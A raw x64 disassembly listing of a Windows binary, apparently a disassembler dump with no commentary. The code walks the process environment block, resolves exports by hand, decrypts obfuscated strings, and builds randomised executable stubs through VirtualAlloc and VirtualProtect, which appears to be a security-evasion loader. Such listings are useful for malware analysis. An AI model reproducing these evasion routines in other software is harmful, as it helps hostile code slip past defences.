mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x78], edi
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002fed3
lea r13d, [rax + 1]
mov r10d, r13d
mov r15, qword [rbp - 0x78]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r13d
add rdx, r13
cmp rdx, r8
jl 0x14002fea4
mov r15d, reloc.WS2_32.dll_socket
lea r13d, [r15 - 7]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x14002ff2f
mov rax, rcx
lea r9, [rbp + 0x1b9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002ff28
add rax, r11
test edx, edx
jne 0x14002ff13
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x140030704
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
xor edi, edi
cmp rax, qword [rbp - 0x80]
jne 0x14002fe5f
mov eax, edi
mov ecx, 1
cmp dword [rbp - 0x68], edi
jl 0x14004175d
test eax, eax
js 0x14004175d
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x50]
mov rcx, qword [rbp + 0xcd8]
mov qword [rbp - 0x48], rcx
mov qword [rbp + 0xd38], rdi
mov qword [rbp + 0xf10], rax
mov byte [rbp + 0x7b8], Ordinal_27
mov r9, r15
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7b9], al
mov r9, r15
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7ba], al
mov r9, r15
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7bb], al
mov r9, r15
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7bc], al
mov r9, r15
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7bd], al
mov r9, r15
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7be], al
mov r9, r15
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7bf], al
mov r9, r15
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c0], al
mov r9, r15
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c1], al
mov r9, r15
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c2], al
mov r9, r15
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c3], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c4], al
mov r9, r15
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c5], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c6], al
mov r9, r15
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c7], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c8], al
mov r9, r15
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7c9], al
mov r9, r15
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7ca], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7cb], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7cc], al
mov r9, r15
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7cd], al
mov r9, r15
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7ce], al
mov r9, r15
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + 0x7cf], al
xor eax, eax
mov byte [rbp + 0x7d0], al
lea r13d, [rax + 1]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b9]
lea rcx, [rbp + 0x7b8]
call fcn.140042d44
mov byte [rbp + rdi + 0x7b9], al
add rdi, r13
cmp rdi, r15
jb 0x14003022b
xor edi, edi
mov byte [rbp + 0x7d0], dil
mov byte [rbp + 0x1a8], 7
lea r13d, [rdi + 9]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + 0x1a9], al
mov r9d, r13d
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + 0x1aa], al
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + 0x1ab], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + 0x1ac], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + 0x1ad], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + 0x1ae], al
mov r9d, r13d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + 0x1af], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + 0x1b0], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + 0x1b1], al
xor eax, eax
mov byte [rbp + 0x1b2], al
lea r13d, [rdi + 0x10]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1a9]
lea rcx, [rbp + 0x1a8]
call fcn.140042908
mov byte [rbp + rdi + 0x1a9], al
add rdi, rbx
cmp rdi, 9
jb 0x140030367
xor eax, eax
mov byte [rbp + 0x1b2], al
mov rax, qword gs:[0x60]
test rax, rax
mov ebx, reloc.WS2_32.dll_recvfrom
je 0x140030bc1
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140030437
lea r12d, [rax + 1]
mov r10d, r12d
mov rsi, qword [rbp - 0x78]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x14003040b
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi + 0xc]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140030493
mov rax, rcx
lea r9, [rbp + 0x1a9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003048c
add rax, r11
test edx, edx
jne 0x140030477
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x14003095d
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rbp - 0x80]
jne 0x1400303c2
jmp 0x140030bc1
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002f9ee
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002f9ee
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002f9ee
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002f9ee
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x14002f9ee
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4e9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003054d
inc rax
test edi, edi
jne 0x140030538
xor r9d, r9d
test r8d, r8d
je 0x140030564
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140030527
jmp 0x14002f9ee
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002f9ee
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002f9ee
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x30], rax
call fcn.1400a18a0
or dword [rbp + 0xd394], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xc010]
call fcn.1400437d4
lea rcx, [rbp + 0xc010]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0xc010]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x46490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14003060a
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x46490]
mov rdi, qword [rbp - 0x30]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe64], eax
lea r9, [rbp + 0xe64]
mov r8d, r12d
mov edx, ebx
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 0x18]
lea r8, [rbp + 0xf28]
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp + 0xe10]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe64]
mov r8d, dword [rbp + 0xe64]
mov edx, ebx
mov rdi, qword [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
lea ebx, [rax + 0x11]
jmp 0x14002f9f2
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002ff54
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ff54
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002ff54
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002ff54
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x14002ff54
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x591]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140030797
inc rax
test edi, edi
jne 0x140030782
xor edi, edi
test r8d, r8d
je 0x1400307ad
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140030771
jmp 0x14002ff54
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002ff54
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140030956
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x30], rax
call fcn.1400a18a0
or dword [rbp + 0xe724], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xd3a0]
call fcn.1400437d4
lea rcx, [rbp + 0xd3a0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0xd3a0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x29490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x140030851
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x29490]
mov rdi, qword [rbp - 0x30]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe60], eax
lea r9, [rbp + 0xe60]
mov r8d, r12d
mov edx, ebx
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, qword [rbp - 0x50]
add rdx, 0x18
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x105
lea r8, [rbp + 0x28270]
mov rcx, qword [rbp + 0xe10]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xe60]
mov r8d, dword [rbp + 0xe60]
mov edx, ebx
mov rdi, qword [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x14010d364], edi
lea ebx, [rdi + 0x11]
mov eax, dword [rsp + 0x60]
jmp 0x14002ff56
mov eax, edi
jmp 0x14002ff5b
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140030bc1
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140030bc1
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140030bc1
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140030bc1
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140030bc1
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7b9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400309ee
inc rax
test edi, edi
jne 0x1400309d9
test r8d, r8d
je 0x140030a02
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x1400309c8
jmp 0x140030bc1
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140030bc1
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140030bc1
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xe10], rax
call fcn.1400a18a0
or dword [rbp + 0xfab4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xe730]
call fcn.1400437d4
lea rcx, [rbp + 0xe730]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0xe730]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x2a490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140030aac
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x2a490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe5c], eax
lea r9, [rbp + 0xe5c]
mov r8d, r12d
mov edx, r13d
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xf10]
mov r8d, 3
lea rdx, [rbp + 0xd38]
mov rcx, qword [rbp - 0x48]
call rdi
mov edi, eax
lea r9, [rbp + 0xe5c]
mov r8d, dword [rbp + 0xe5c]
mov edx, r13d
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, qword [rbp + 0xe10]
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
test edi, edi
lea r13d, [rax + 0x10]
js 0x140030bd8
mov rax, qword [rbp + 0xd38]
mov qword [rbp + 0xe10], rax
test rax, rax
jne 0x1400310f2
mov word [rbp + 0x830], 0x4c3d
mov byte [rbp + 0x832], reloc.WLDAP32.dll_Ordinal_45
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x833], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x834], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x835], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x836], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x837], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x838], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x839], al
mov r9, rbx
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x83a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x83b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x83c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x83d], al
mov r9, rbx
mov r15d, reloc.WS2_32.dll_listen
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x83e], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, 0x75
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x83f], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x840], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x830]
call fcn.1400429f8
mov byte [rbp + 0x841], al
xor eax, eax
mov byte [rbp + 0x842], al
mov r8d, eax
mov r9, rbx
lea r10d, [r15 - 0xc]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x830]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x830]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x831], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140030db4
xor edi, edi
mov byte [rbp + 0x842], dil
mov word [rbp + 0x910], 0x6e02
mov byte [rbp + 0x912], 9
mov r9, r14
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x913], al
mov r9, r14
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x914], al
mov r9, r14
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x915], al
mov r9, r14
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x916], al
mov r9, r14
lea r8d, [rdi + 6]
mov dl, r12b
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x917], al
mov r9, r14
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x918], al
mov r9, r14
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x919], al
mov r9, r14
lea r8d, [rdi + 9]
mov dl, r12b
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x91a], al
mov r9, r14
lea r8d, [rdi + 0xa]
mov dl, 0x53
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x91b], al
mov r9, r14
lea r8d, [rdi + 0xb]
mov dl, 0x65
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x91c], al
mov r9, r14
lea r8d, [rdi + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x91d], al
mov r9, r14
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x91e], al
mov r9, r14
lea r8d, [rdi + 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x91f], al
mov r9, r14
lea r8d, [rdi + 0xf]
mov dl, r12b
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x920], al
mov r9, r14
mov r8, r13
mov dl, 0x49
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x921], al
mov r9, r14
mov r8, rbx
mov dl, 0x6d
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x922], al
mov r9, r14
lea r8d, [rdi + 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x923], al
mov r9, r14
lea r8d, [rdi + 0x13]
mov dl, 0x67
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x924], al
mov r9, r14
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0x910]
call fcn.140042ae8
mov byte [rbp + 0x925], al
xor eax, eax
mov byte [rbp + 0x926], al
mov r8d, edi
mov r9, r14
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x910]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x910]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x911], dil
add r8, rbx
add r9, r14
cmp r9, 0x1ce
jb 0x140031059
xor eax, eax
mov byte [rbp + 0x926], al
xor r9d, r9d
lea r8, [rbp + 0x831]
lea rdx, [rbp + 0x911]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x20], rax
mov r10, qword [rbp - 8]
mov edi, dword [r10 + 0x90]
movzx eax, word [r10 + 0x14]
lea rdx, [r10 + 0x18]
add rdx, rax
movzx eax, word [r10 + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x14003113d
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x140031139
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x1400311ed
add rdx, 0x28
cmp rdx, r8
jb 0x140031123
xor eax, eax
mov r11d, eax
mov qword [rbp - 0x30], r11
test edi, edi
je 0x14003119e
cmp dword [r10 + 0x94], eax
je 0x14003119e
mov r9d, dword [r11 + 0xc]
movzx edx, word [r10 + 0x14]
add rdx, 0x18
add rdx, r10
mov rdi, rdx
movzx eax, word [r10 + 6]
lea rcx, [rax + rax*4]
lea r10, [rdx + rcx*8]
cmp rdx, r10
